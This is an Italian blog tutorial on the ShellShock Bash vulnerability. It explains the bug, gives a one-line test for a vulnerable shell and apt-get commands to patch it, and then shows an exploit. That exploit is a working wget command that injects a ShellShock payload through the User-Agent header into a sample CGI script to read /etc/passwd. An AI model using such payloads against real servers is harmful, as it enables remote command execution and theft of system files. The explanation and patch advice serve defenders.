Come sfruttare il Bug ShellShock presente nel terminale Bash.
Cos’è ShellShock
Così chiamato, ShellShock, è un bug critico che affligge per appunto il Terminale, in gergo Shell. (Precisamente alcune versioni di Bash).
Solo verso la fine del 2014 è stato scoperto e pubblicamente riconosciuto. E’ in circolazione, pensate, da oltre 25 anni. Inutile dire la portata di tale vulnerabilità, oggi moltissimi sono i server e i computer domestici che fan girare sistemi derivati da UNIX, Linux o Mac OS X in primis.
E proprio da UNIX hanno ereditato il potente Terminale: Bash. E con esso la vulnerabilità che adesso andremo a mostrare.
La criticità del bug è elevata. Perchè permette di eseguire comandi sulla shell che possono portare a compromettere l’intero host, da remoto.
Un attaccante può forzare Bash all’esecuzione di codice arbitrario. Questo perchè continua ad eseguire il codice anche dopo la definizione di una funzione “() { :; };”. Quando in realtà non dovrebbe.
Capire se la nostra Shell è vulnerabile a ShellShock
Ecco la procedura per testare un terminale per provare se è vulnerabile o meno a ShellShock:
1. Avviate il Terminale.
2. Incollateci questa stringa e date invio:
env z='() { :;}; echo vulnerable' bash -c 'echo hello'
3. Se l’output del terminale è “vulnerable hello”, allora la vostra versione di Bash è vulnerabile a ShellShock, vi conviene aggiornare:
apt-get update
apt-get install --only-upgrade bash
PS. Questo funziona per Ubuntu e Debian, per distribuzioni differenti o se siete su Mac probabilmente la procedura d’aggiornamento è differente.
Potete controllare la vostra versione di bash con il comando:
bash --version
Come è possibile sfruttare il Bug
Un esempio molto semplice e nello stesso tempo molto concreto, potrebbe essere la CGI di un server (guarda come si usa la CGI).
In questo modo, /var/www/cgi-bin/test.cgi:
#!/bin/bash
echo "Content-type: text/plain"
echo
echo
echo "Hi"
Dopo si chiama lo script tramite wget, utilizzando il parametro -U per cambiare lo User-Agent, e iniettare l’exploit. Con l’obiettivo ad esempio di ottenere il file /etc/passwd di Linux:
wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://10.248.2.15/cgi-bin/test.cgi
Specificare il tipo di contenuto “Content-type:” serve a mostrare il file richiesto prevenendo la comparsa dell’errore 500.
L’esempio sopra dimostra anche come non è un errore di programmazione che porta lo script cgi ad essere vulnerabile, poichè lo script illustrato neanche richiede un input utente, ma è il bug presente in alcune versioni di Bash.
Commenti